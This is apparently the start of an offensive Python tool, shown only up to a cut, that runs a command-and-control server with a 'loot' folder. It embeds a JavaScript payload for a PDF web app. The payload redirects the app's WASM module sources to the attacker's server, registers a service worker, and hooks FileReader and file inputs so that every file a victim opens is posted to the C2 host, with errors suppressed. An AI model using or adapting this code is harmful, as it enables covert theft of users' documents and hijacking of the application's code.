#!/usr/bin/env python3 import argparse import json import os import re import sys from datetime import datetime from http.server import HTTPServer, BaseHTTPRequestHandler RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" WHITE = "\033[97m" BOLD = "\033[1m" RESET = "\033[0m" LOOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "loot") _log_file = None _ANSI_RE = re.compile(r'\x1b\[[0-9;]*m') def _print(msg): print(msg) if _log_file: _log_file.write(_ANSI_RE.sub('', msg) + '\n') _log_file.flush() PAYLOAD_TEMPLATE = r"""(async function(){ var C2 = '__C2_URL__'; function report(endpoint, data) { fetch(C2 + endpoint, { method: 'POST', mode: 'cors', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data) }).catch(function(){}); } var _origWasm = localStorage.getItem('bentopdf:wasm-providers'); var wasmPayload = { pymupdf: C2 + '/wasm/pymupdf/', ghostscript: C2 + '/wasm/gs/', cpdf: C2 + '/wasm/cpdf/' }; localStorage.setItem('bentopdf:wasm-providers', JSON.stringify(wasmPayload)); report('/hijack', { stage: 'wasm_hijack', victim: location.href, ts: new Date().toISOString() }); if (_origWasm !== null) { localStorage.setItem('bentopdf:wasm-providers', _origWasm); } else { localStorage.removeItem('bentopdf:wasm-providers'); } if (window.isSecureContext && typeof caches !== 'undefined' && 'serviceWorker' in navigator) { try { var reg = await navigator.serviceWorker.register('/sw.js'); var sw = reg.installing || reg.waiting || reg.active; if (sw && sw.state !== 'activated') { await new Promise(function(resolve) { sw.addEventListener('statechange', function() { if (sw.state === 'activated') resolve(); }); if (sw.state === 'activated') resolve(); }); } if (reg.waiting) { reg.waiting.postMessage({ type: 'SKIP_WAITING' }); await new Promise(function(r){ setTimeout(r, 300); }); } report('/sw', { stage: 'sw_registered', scope: reg.scope }); var HOOK = ';(function(){if(window.__BENTO_EXFIL__)return;window.__BENTO_EXFIL__=1;var C2="__C2_URL__";var _r=FileReader.prototype.readAsArrayBuffer;FileReader.prototype.readAsArrayBuffer=function(b){var n=b.name||"blob_"+Date.now();b.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(n),{method:"POST",mode:"cors",body:a}).catch(function(){})});return _r.call(this,b)};document.addEventListener("change",function(e){var t=e.target;if(t&&t.type==="file"&&t.files){for(var i=0;i.